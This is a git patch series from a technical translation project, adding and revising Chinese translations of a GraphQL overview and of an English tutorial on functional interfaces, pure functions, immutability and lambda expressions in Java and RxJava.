+正如你所见，我们可以在 resolver 中写任何你想写的代码。因此，你可以通过**改变** resolver 任意地**修改**数据库中的内容，这种形式也被称为 **mutation** resolver。
 
-### Schema ###
+### 类型（Schema） ###
 
-GraphQL 的强类型结构系统可以让很多事情都变得可行。我今天的目标仅仅是给你做一个快速的概述而不是详细的介绍，所以我不会在这个内容上继续深入。
+GraphQL 的类型结构系统可以让很多事情都变得可行。我今天的目标仅仅是给你做一个快速的概述而不是详细的介绍，所以我不会在这个内容上继续深入。
 
 话虽如此，如果你想了解更多这方面的信息，我建议你阅读 [GraphQL 官方文档](http://graphql.org/learn/schema/)。
 
@@ -270,7 +270,7 @@ GraphQL 的强类型结构系统可以让很多事情都变得可行。我今天
 
 ![](https://cdn-images-1.medium.com/max/800/1*zugVY5cAa9KIP6Necc7uCw.png)
 
-现在你应该对 GraphQL 有了一个恰当的认识，让我们来聊一聊这个领域的玩家们。
+现在你应该对 GraphQL 有了一个恰当的认识，下面让我们来介绍一下 GraphQL 的主要平台与产品。
 
 ### GraphQL 服务端 ###
 
@@ -311,7 +311,7 @@ Apollo 在 Chrome 开发者工具中的插件
 
 ### 开源 App ###
 
-虽然 GraphQL 还属于新鲜事物，但是已经有一些开源 app 在使用它了。
+虽然 GraphQL 还属于新鲜事物，但是它已经被一些开源 app 使用了。
 
 #### [VulcanJS](http://vulcanjs.org) ####
 
@@ -321,13 +321,13 @@ Apollo 在 Chrome 开发者工具中的插件
 
 #### [Gatsby](https://www.gatsbyjs.org/docs/) ####
 
-Gatsby 是一个 React 静态网站生成器，基于 [GraphQL 1.0 版本](https://www.gatsbyjs.org/docs/) 开发。它一眼看上去像个奇怪的大杂脍，但其实它的功能十分强大。Gatsby 在构建过程中，可以从多个 GraphQL API 取得数据，然后用它们创建出一个全静态的无后端 React app。
+Gatsby 是一个 React 静态网站生成器，它现在是基于 [GraphQL 1.0 版本](https://www.gatsbyjs.org/docs/) 开发。它一眼看上去像个奇怪的大杂脍，但其实它的功能十分强大。Gatsby 在构建过程中，可以从多个 GraphQL API 取得数据，然后用它们创建出一个全静态的无后端 React app。
 
 ### 其它的 GraphQL 工具 ###
 
 #### [GraphiQL](https://github.com/graphql/graphiql) ####
 
-GraphiQL 是一个基于浏览器的非常好用的 IDE，他可以很方便地帮你对 GraphQL 端点进行查询。
+GraphiQL 是一个非常好用的基于浏览器的 IDE，它可以方便你进行 GraphQL 端点查询。
 
 [![](https://cdn-images-1.medium.com/max/800/1*fbeXj5wB383gWsMXn_6JAw.png)](https://github.com/graphql/graphiql)
 

From bc7b4e0fb614b60b47f94705c26ddf6278aacd9c Mon Sep 17 00:00:00 2001
From: Shirley Yang <yang.scorpio@aliyun.com>
Date: Mon, 24 Apr 2017 01:32:35 +0800
Subject: [PATCH 237/638] translate/rxjava-part3

---
 ...oid-rxjava2-what-the-hell-is-this-part3.md | 214 ++++++++++++++++++
 1 file changed, 214 insertions(+)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index 987c44a2cb7..e625d1a042c 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -6,27 +6,43 @@
 
 ## Functional Interfaces, Default Methods, { Higher Order – Pure – Side Effects in } + Functions, Im + { Mutable } , Lambda Expression & Functional Programming – Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3 ##
 
+##函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分##
+
 
 WOW, we got one more day so its time to make this day awesome by learning something new .
 
 Hello guys, hope you are doing good. This is our third post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) ]. In this post we are going to discuss about Functional Interfaces, Functional Programming, Lambda expressions and may be something bonus related to Java 8. Which will be helpful for everyone in near future.
 
+大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章[[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)]。在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。
+
 **Motivation:**
+**动机：**
 
 Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). Lambda expressions, Functional programming, High Order Functions and blah blah blah always give me tough time specially when I am doing work in Java because every body know’s Java is Object Oriented Programming. So how Java can support Functional Paradigm. Then what is the role of Lambda expressions in Functional Programming. To make every thing clear and easy just like nothing, I will start from Functional Interfaces. One important point, my promise with you guys. I am 100% sure as you follow this part. In the end you will be comfortable with all the terms which we are listening in these days a lot. Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions. I have a feeling lot of people are using Lambda expression in these days but may be after completing this post they know what is really Lambda expressions. Its time to ATTACK.
 
+动机和我在分享［第一部分］(http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式，函数式编程，高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，完全的函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
+
 **Revision:**
+**修改:**
 
 In [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) we discuss the most important, basic and core concept of Rx and that is a Observer Pattern. In [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) we discuss about Pull vs Push and Imperative vs Reactive programming.
 
+在［第一部分］(http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论的 Rx 最重要，最基础也最核心的概念，那就是观察者模式。在［第二部分］(http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
+
 **Introduction:**
+**介绍:**
 
 Today we are going to clear all confusions about Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions. So guys I am not going to start from Lambda Expressions instead I am going to start from Functional Interfaces.
 
+今天我们将会弄清楚所有关于函数式接口，默认方法，完全函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程以及 Lambda 表达式的所有困惑。所以，我不准备从 Lambda 表达式开始，反而我要从函数式接口开始。
+
 **Functional Interface:**
+**函数式接口:**
 
 In simple words. *Functional Interface is an interface having one abstract method*. Simple no more confusions. Again, *any interface have only one abstract method is called Functional Interface*. Here I want to share some knowledge, which is not the part of this series but that is good if you know specially for interviews. If you read my definition. I used abstract keyword but we already know interface has always abstract methods. So that is before Java 8. In Java 8 we can define one method in interface and that is called default method like shown below.
 
+简单地说，**函数式接口是个有一个抽象方法的接口。**同样简单地说，**任何拥有一个抽象方法的叫函数式接口。**这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用抽象的关键词，但是我们已经知道接口总是有抽象方法，所以那就是 Java 8 之前的。在 Java 8 里我们可以在接口里定义一个方法，这个方法叫默认方法，正如下面所示。
+
 ```
 public interface Account {
 
@@ -40,10 +56,16 @@ public interface Account {
 
 Now I am going to revise the definition. Functional Interface is an interface having one abstract method.
 
+现在我们要修改一下定义。函数式接口是个拥有一个抽象方法的接口。
+
 So now if I ask you the above interface is a Functional Interface or not. What will be your answer. According to definition. Answer should be No but that is a valid Functional Interface. Why…
 
+所以现在，如果我问你上面的接口是不是一个函数式接口，你的答案是什么？根据定义，答案应该是不是，但那却是一个有效的函数式接口，为什么呢……
+
 Now if interface use default method or may be try to use any method of **java.lang.Object** into interface. That interface remain Functional Interface because **java.lang.Object** methods will not count. Just like I am showing you one valid Functional Interface below.
 
+现在，如果接口使用默认方法或者可能尝试使用 **java.lang.Object** 的任何方法。那个接口还是函数式接口，这是因为 **java.lang.Object** 方法并不算数。正如我在下面展示给你的真正的函数式接口。
+
 ```
 public interface Add {
     void add(int a, int b);
@@ -58,6 +80,8 @@ public interface Add {
 
 So any interface which has more then one method is not called a Functional Interface just like shown below.
 
+所以，任何有多于一个方法的接口不叫函数式接口，正如下面所示。
+
 ```
 public interface Do {
    
@@ -69,8 +93,12 @@ public interface Do {
 
 I think you grasp the concept of Functional Interface. Guys that is a really core concept of Lambda expression so try to remember this concept.
 
+我相信你已经理解了函数式接口的概念。这可真的是 Lambda 表达式的核心概念，所以试着记住这个概念吧。
+
 Some examples of Functional Interfaces which currently we are using in our daily development.
 
+一些我们现在每天开发使用的函数式接口的例子：
+
 ```
 public interface **Runnable** {
     public abstract void **run**();
@@ -83,24 +111,40 @@ public interface **OnClickListener** {
 
 Now its time to show you Comparator interface in Java 7 and 8  both are valid Functional Interfaces.
 
+现在是时候向你展示 Java 7 和 8 的比较器接口了。它们都是有效的函数式接口。
+
 In Java 7 Comparator:
 
+Java 7 的比较器：
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM-300x171.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM.png)
 
 In Java 8:
 
+在 Java 8 里：
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM-1024x773.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM.png)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM-1024x650.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM.png)
 
 Do not confuse guys. Again both are valid Functional Interfaces. Only remember three things about Functional Interface.
 
+可别搞混了。它们都是有效的函数式接口。只要记住函数式接口的三件事情。
+
 Only one abstract method – May have default methods – May use java.lang.Object methods
 
+只有一个抽象方法 － 可以有默认方法 － 可以使用 java.lang.Object 方法。
+
 If any interface pass these three points that is a valid Functional Interface otherwise no.
 
+如果任何接口满足这三点，那就一定是有效的函数式接口，反之则不是。
+
 In java 8 there is a whole new package **java.util.function.** In this package all interfaces are Functional Interfaces. That package is useful when we are working with Streams API. Which we will learn as a bonus when we will start Rx Android.
 
+在 Java 8 里有一个新的工具包 **java.util.function**。在这个包里，所有的接口都是函数式接口。当我们需要用到流 API 时，这个工具包很有用。当我们开始学习 Rx Android 的时候，这个包会让我们学到更多。
+
 One very important point. Guys as we are going to start working with Rx Android. We will play a lot with these Functional Interfaces. Basically in Android we are dependent on Rx Java and Rx Android. Now I am going to show you package of Rx Java 1.0 and 2.0 Functional Interfaces. No need to remember this thing and no need to take tension that is only general knowledge. Only try to remember the concept of Functional Interface. These will automatically remember to you when we start working together on Rx.
 
+很重要的一点。当我们要开始使用 Rx Android 时，我们会使用很多这样的函数式接口。基本上，在安卓平台中，我们依赖于 Rx Java 和 Rx Android。现在，我将要给你看一看 Rx Java 1.0 和 2.0 包里的函数式接口。没有必要去记住这个，也没有必要紧张，这只是通用知识。只要试着记得函数式接口的概念久可以了。当你开始使用 Rx，这些你都会不自觉地想起来。
+
 RxJava 1:
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM-120x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM.png)RxJava2:
@@ -110,28 +154,49 @@ RxJava 1:
 WOW. Its time to celebrate now we know what is a Functional Interfaces, what are default methods in Java 8. As I write in introduction about the terms, which we are going to discuss in this post, two are gone .
 Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
 
+哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。当我在介绍里写到这些名词时，当然，我们将要这篇文章中讨论它们，两个新名词就解释完了。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 **Functional Programming:**
+**函数式编程:**
 
 Truly saying I mostly work with Java and C++ and both are imperative not pure functional. So I am going to try my best to clear all confusions which I faced but if I am wrong some where please forgive me and update me in comments. So I will update my post.
 
+我真的大部分使用 Java 和 C++，而且它们都是命令式的而且不是纯函数式的。所以我打算尽力解决所有的我面对的困惑。请原谅我，可以在回复里提醒我来更新我的文章。
+
 Guys before going into boring definitions. I am going to revise some of our college or school days concepts. Which is really helpful here to clear all the ambiguities about the remaining terms.
 
+在进入无聊的定义之前，我打算修改我们在学校学习到的概念。这对接下来阐释剩下模棱两可的名词是很有帮助的。
+
 Every body who is doing development know functions. But currently try to forget everything about programming and go back to college or school days. ——————- School Days, Present Madam.
 
+每个做开发的人都知道函数。但是现在请试着忘记我们学习过的所有编程知识，重回学校。
+
 Good boy.
 
+好孩子。
+
 Now what is a function in math class. [Guys for the time being forget all knowledge which you have related to functions in Java or C++ or in any language.]
 
+在数学课上，什么是函数。［现在请忘掉你所知道的在 Java 或者 C++ 等任何编程语言关于函数的所有知识。］
+
 What is a function? A function related an input to output. Boring ok forget.
 
 How many people know about the below sentence.
 
+什么是函数？一个根据输入决定输出的方程式。挺无聊的，好的，那忘记这个。
+
+有多少人听过下面的句子。
+
 f(x) = x+3
 
 if x = 2 what will be the answer.
 
+如果 x = 2，答案是什么。
+
 f(x) equal to y.
 
+f(x) 等于 y。
+
 y = x+3
 
 x = 2
@@ -150,16 +215,32 @@ Sin(x) [ Trigonometry ]
 
 We remember. Every time in school life when I gave theta value 45 degree. I get answer 1/2 like shown       below.
 
+所以，f(x) = x+3 是一个函数。当你给同一个输入，会给你同样的输出。
+
+再来一个例子。
+
+有多少人记得。
+
+Sin(x) [ 三角函数 ]
+
+我们当然记得。在学校的时候，每当我们得到一个 45 度的 theta 角，我会得到 1/2 的答案，如下所示。
+
 y = Sin(45deg)
 
 y = 1/2
 
 Later I used this same function in college and university. Every time when I have same input I got same result. That is called pure functions. I will explain more later.
 
+接下来，我要用到这个在大学里常见的同样的函数。每次我给一样的输入，我会得到一样的记过。这就叫纯函数。我会在接下来解释。
+
 Here we revise some functions which we use a lot in our school or college life. Now when we use the same concept in programming. That is called Functional Programming. Do not take tension I am going to explain now. We are back from childhood memories.
 
+这里我们要修改一些我们在学校里常用的函数。现在，当我们在编程中用同样的概念，这就叫函数式编程。不要紧张，我马上就会解释。我们从儿时的回忆里回来看看。
+
 First need to discuss some confusion. Like when we start programming we start like. Write a function which will calculate area of a circle.
 
+首先，我们要讨论一些困惑。正如，当我们开始编程，我们开始写一个可以计算圆的面积的函数。
+
 ```
 public double areaOfACircle(int radius){
     return radius*radius*3.14;
@@ -168,6 +249,8 @@ public double areaOfACircle(int radius){
 
 Good. Now as I am going more professional my definition of function is changed. Like write a currency converter of USD into PKR.
 
+很好。现在我要给函数一个更专业的定义，正如写一个 USD 和 PKR 的货币转换器。
+
 ```
 public float convertUSDIntoPKR(int USD){
     return USD*getTodayPKRValueFromAPI();
@@ -177,16 +260,28 @@ public float convertUSDIntoPKR(int USD){
 In Programming that is a function but in math. There is some issue because in math we always say. Same input always give you same output. But our function may give your different output on same input because that is dependent upon the external value. So here I am going to introduce a one more term. That is called a Pure function. In Math we always know every function is a pure function just like Sin() but in our programming languages we have a lot of functions which always give us a different value. So for that we introduce a new term called a Pure function in programming.
 *A pure function is a function where the return value is only determined by its input values, without observable side effects.*
 
+在编程中，上面的是一个函数。但是在数学中，这就有问题了。因为在数学中，我们总是说，同一个输入对应同样的输出。但是编程中的函数给同样的输入可以有不同的输出，因为它依赖于其它数值。所以这里，我们又要介绍一个名词，叫纯函数。在函数里，我们知道每个函数都是纯函数，如 Sin()，但是，在我们的编程语言里，我们有很多函数给我们不同的数值。所以，这就是我们要介绍的，编程语言里的纯函数。 **纯函数是返回值值决定于它的输入，而并没有观察者的副作用。**
+
 One more term side effect. Any function which is not pure is called a impure function which may have a side effect. Or may be there is some function which is pure but if we can see any side effect in that then we are not able to say that is a Pure function.
 
+下一个名词，副作用。任何不纯的函数叫非纯函数，它可能产生副作用。或者可以说，一些函数式纯的，但是如果我们看到它有任何负作用，那么我们就不能说这是一个纯函数。
+
 First impure function like Random. This always give you different value for same seed.
 
 Side effect like println() is an impure because it causes output to an I/O device as a side effect. In any function which is pure but I used println() note that function is not remain pure function due to side effect.
 
+第一个非纯函数就是随机函数。它总是用同一个种子给你返回不同的结果。
+
+副作用像 println()，是一个非纯的函数，因为为 I/O 设备提供输出是它的副作用。任何函数式纯的，但是如果我用 println() 来注释打印，那它就不再是纯函数了。
+
 Some examples:
 
 Pure:
 
+一些例子：
+
+纯函数：
+
 ```
 public int squre(int x){
     return x*x;
@@ -195,6 +290,8 @@ public int squre(int x){
 
 Impure due to Side Effect:
 
+因为副作用而非纯的的函数；
+
 ```
 public int squre(int x){
     System.out.println(x*x);
@@ -204,6 +301,8 @@ public int squre(int x){
 
 Impure:
 
+非纯函数：
+
 ```
 public void login(String username, String password, Callback c){
     API.login(username, password, callback); 
@@ -213,8 +312,14 @@ public void login(String username, String password, Callback c){
 Now we grasp two more terms. Pure functions and Side effect.
 Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
 
+现在我们又理解了两个名词。纯函数和副作用。
+
+函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 Next we are going to discuss Mutable and Immutable. In mathematics as we remember every time when I gave my value to some function. I always get the new value and my original value remain same. But in programming that concept has changed so that’s why we have two different definitions. Mutable and Immutable. In OO we mostly use to break immutability. Which may cause a lot of issue but in Functional Programming that always used immutability. Like every body know in Java String is Immutable.
 
+接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在 00？ 中我们差一点就打破了不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。
+
 ```
 String s = "Hello";
 s = "World";
@@ -224,6 +329,10 @@ Here our original String never changed. Yes in second line I created a new Strin
 
 So what is mutable. One example.
 
+这里，我们本来的字符串从未改变。虽然第二行我们创建了新的字符串并且把它赋给我的 s 对象。
+
+所以，什么是可变的？给你一个例子。
+
 ```
 int array []= {1,2,3,4,5};
 for (int i = 0; i < array.length; i++) {
@@ -233,6 +342,8 @@ for (int i = 0; i < array.length; i++) {
 
 In Java or in imperative programming if I call above code that is basically mutable. That changed my original array values. But in Functional Programming if I do the same thing I always get a new array with multiplied values and I have the original data remain unchanged.
 
+在 Java 或者命令式编程中，我认为上面的代码基本上是可变的。它改变了原本的数组值。但是在函数式编程里，如果我做了同样的事情，我总是获得乘好的数值组成的新数组，而我原来的数据仍然保持不变。
+
 ```
 Integer array []= {1,2,3,4,5};
 Arrays.stream(array).map(v->v*2).forEach(i-> System.out.print(i+" "));
@@ -250,8 +361,12 @@ Output:
 
 The above example written in Java 8 but that will be same in Rx later. Only try to grasp the concept of mutable and Immutable. So as you see in output original array value has no change.
 
+上面的例子是用 Java 8 写的，但是那跟之后讲 Rx 是一样的。只要试着理解可变的不可变的概念。正如你所看到的，所输出的原本的数组值并没有改变。
+
 Now may be you are thinking what is the benefit of this. So I am going to explain here one example. If I know all my functions are Pure and Immutable I can do lot of things without taking care of my data state. For example I am going in threading.
 
+现在可能你在想这样的好处是什么。我这里用另外一个例子来解释。如果我知道我所有的函数都是纯的并且是不可变的，我可以做很多事情而不用管我数据的状态。例如，我要使用线程。
+
 ```
 public class FunctionalLambda {
 
@@ -278,6 +393,8 @@ public class FunctionalLambda {
 
 In this example basically I am using threading. One of my thread doing addition of value 1 in each member of array and the main or other thread is taking square of all the values in array. As a developer my expected value should be like shown below.
 
+在这个例子里，基本上我用到了线程。其中一个线程对 1 和数组中的每个数值做加法，而主要的和其它线程则对数组中的数值做平方运算。作为一个开发者，我期望数值应如下所示。
+
 ```
         1
         4
@@ -288,6 +405,8 @@ In this example basically I am using threading. One of my thread doing addition
 
 But when I run I got the below output.
 
+但是，当我跑起程序，我得到的是下面的输出。
+
 ```
         4
         9
@@ -298,6 +417,8 @@ But when I run I got the below output.
 
 This is wrong or actual output. Because I am not taking care of my mutability. Now I am going to right a proper Functional program. In which I will manage my immutability.
 
+这是错的，但也是实际输出，因为我没有管数据可变性。现在我准备写一个合适的函数式程序，这段程序将管理我数据的不可变性。
+
 ```
 public class FunctionalLambda {
 
@@ -327,39 +448,74 @@ public class FunctionalLambda {
 
 Note: For running above example you need to [download rxjava jar](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2).
 
+注意：如果要跑上面的例子，你需要［下载 rxjava jar］(https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2)。
+
 After running this example my expected and actual both outputs are same because here my program is not doing changes directly in array instead that is creating a copy of my data. So that’s why I can say my array is immutable. I also used Rx so for that sorry but from now I will add little bit Rx in my examples. I will explain you in next post but trust on me. That is a Functional Program in which I have one Pure Function square and my array is not mutated because I am using Functional Paradigm.
 
+跑完这段例子后，我所期望的和实际输出的事一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那时一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。
+
 Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
 
+函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 Now its time to clear our ambiguity about Higher Order Functions (HOF).
 
+是时候解释清楚高阶函数 (HOF) 的含义了。
+
 *A function with at least one parameter of type function or a function that returns function is called a higher order function*.
 
+**拥有至少一个函数类型为参数的函数，或着返回一个函数的函数叫做高阶函数。**
+
 Hmm that is really easy and we use a lot this concept in our Rx programming. Before Java 8 that is little bit difficult to show you HOF but we can use anonymous class as a HOF. We are mostly used this concept in C++. Where I can send function as a parameter. In Android like I am going to add a Click listener with anonymous class. So you can say that is an example of HOF. I will explain more when we are in Rx post.
 Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions,Higher Order Functions,Mutable and Immutable, Functional Programming and Lambda expressions.
 
+那简直太简单了，并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前，展示 HOF 还是有点困难的，但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念，把函数作为一个参数。在安卓中，这就类似于添加一个匿名类为点击事件监听者。所以你可以说，这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。
+
+函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 Now if we are using these concepts which we discuss Pure Functions, HOF, Immutable in any language you can say we are following Functional Paradigm. That is a Functional Programming. In OO we mostly manage the states but in Functional we have data and we do computation by taking care of immutability.
 
+现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在 00？我们常要管理状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。
+
 Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions,Higher Order Functions,Mutable and Immutable,Functional Programming and Lambda expressions.
 
+函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 Hurray we cleared our lot of ambiguities related to Functional Programming. Now its time to finish our this post by learning last thing Lambda Expressions.
 
+加油呀！我们已经弄清楚了很多关于函数式编程模棱两可的概念。现在我们要用学习 Lambda 表达式来结束这篇文章。
+
 Before going to Lambda’s I want to revise what we did till now.
 
+在进入 Lambda 的章节前，我想复习一下前面的内容。
+
 Functional Interface – an interface having one abstract method.
 
+函数式接口 － 一个有一个抽象方法的接口。
+
 Default Method – In Java 8 we can define methods in interface these are called Default Method.
 
+默认方法 － 在 Java 8 里，我们可以在接口中定义方法，这些叫默认方法。
+
 Pure Function –  A function, where the return value is only determined by its input values, without observable side effects.
 
+纯函数 － 一个函数的返回值仅由输入值决定，不需要做观察。
+
 **Lambda Expressions:**
+**Lambda 表达式:**
 
 “*lambda expression in computer programming, also called anonymous function, a function (or a subroutine) defined, and possibly called, without being bound to an identifier*” (Wiki)
 
+“**在计算机编程中，lambda 表达式，也叫匿名函数，是指一类无需定义标识符（函数名）的函数或子程序。**”(Wiki)
+
 First and most important thing. RxJava is not dependent on Lambda’s. Instead Functional Programming has no relationship with Lambda’s as you already saw in all of my above examples I never mentioned I used lambda may be on some places IDE converted my code to lambda but we can do everything without lambda. Then questions is why in every blog of Rx or Functional Programming we saw lambda expressions as a core part of the blog. In my opinion, you can think they are simple, improved syntax form of anonymous functions.
 
+首先，RxJava 并不依赖于 Lambda 表达式。实际上，函数式编程与 Lambda 表达式没有关系，正如你在我以上的例子中看到的那样，我从来没有说过我用了 lambda。只是 IDE 在某些地方可能把我的代码转换成了 lambda 表达式，但我可以不用它来写代码。那么，问题是，为什么在每一篇关于 Rx 或者函数式编程的博客里，我们看到 lambda 表达式总是核心内容。在我看来，你可以把它们认为简单的，有效的匿名函数形式。
+
 There is some prerequisite which I am going to explain you before going into more detail about Lambdas. As we already know Java is a static type language. Its mean all java program objects and variables always know about there data type at compile time. For example code as shown below.
 
+在我详细介绍 Lambda 表达式前，有个条件。我们已经知道 Java 是一个静态类型语言。它意味着所有的 java 程序对象和变量总是在编译时间里知道数据类型，如下的例子这样。
+
 ```
 int i = 1;
 float j = 3;
@@ -369,12 +525,17 @@ String s = "Hello";
 
 In a same way before Java 7 we are going to use Collections we need to write a complete List of initialization like shown below.
 
+同样的，在 Java 7 之前，我们准备用 Collections 来写一个完整的 List 对象初始化，如下所示。
+
 ```
 List<String > list = new ArrayList<String >();
 ```
 
 But in Java 7 we got Type Inference concept. By using that one we can write concise code just like shown below.
 
+但在 Java 7，我们有类型引用的概念。使用这个概念，我们可以写出如下简洁的代码。
+
+
 ```
 List<String > list = new ArrayList<>();
 ```
@@ -383,10 +544,18 @@ So basically now compiler will determine the type by using the context at compil
 
 Guys again, type inference is very very important. So try to focus on this thing. In Lambda expressions, we are using a lot and lot of people confused due to lake of this concept.
 
+所以现在，编译器在编译时根据上下文决定数据类型。这样，我们就节省了很多时间。
+
+再一次，数据类型引用非常重要。所以我们要关注这个。在 Lambda 表达式中，我们要用到很多次，但是大家因为缺少这个概念而感到困惑。
+
 Going again to describe this same concept by taking different example.
 
 I have a one method in which I will send integer as param and that method will return me that same value without changing any thing like as shown below.
 
+我们继续用另外一个例子来描述同一个概念。
+
+我写了一个方法，整数作为参数传入，而这个方法将不改变任何东西，返回同样的数值给我，如下所示。
+
 ```
 public static void main(String [] args){
     System.out.println(**giveMeBack(1)**);
@@ -399,10 +568,14 @@ public static int  **giveMeBack**(int a){
 
 This is a simple example. Now I want to give 3.14 to this method. So guys any body tell me what will happen?
 
+这是简单的例子。现在我想传个 3.14 给这个方法，有没有人告诉我，会发生什么呢？
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM-300x227.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM.png)
 
 Yes you are write program is not able to compile as shown above. I already mentioned that method only take Integer. Next my requirement is, I need to write this function for all data types. Now as a developer I am a lazy guy. I don’t want to write a same code again and again. Here I am going to take benefit of Java inference.
 
+是的，你的程序将无法编译。我已经说过了，这个方法只能传入整数。我的下一个要求是，我要使得这个方法适用于所有数据类型。作为一个开发者，我是一个懒人。我不想写重复的代码。这里我想利用 Java 的引用。
+
 ```
 public static<T> T  giveMeBack(T a){
     return a;
@@ -411,16 +584,24 @@ public static<T> T  giveMeBack(T a){
 
 This is also called generics. Now by using generics I save my lot of time. I can use this method for any data type as shown below.
 
+这也叫泛型。利用泛型，我节省了很多时间。这个方法可以适用于任何数据类型，如下图所示。
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM-300x164.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM.png)
 
 Now here I get a benefit from Java inference. How? As compiler, compile my program, that easily generate a code for my all these data types. Now compiler can easily determine from my param data type. So there is no magic. Every time when I am not mentioning the data type most probably compiler will take the context and assign the datatype according to the context because Java is a static type language.
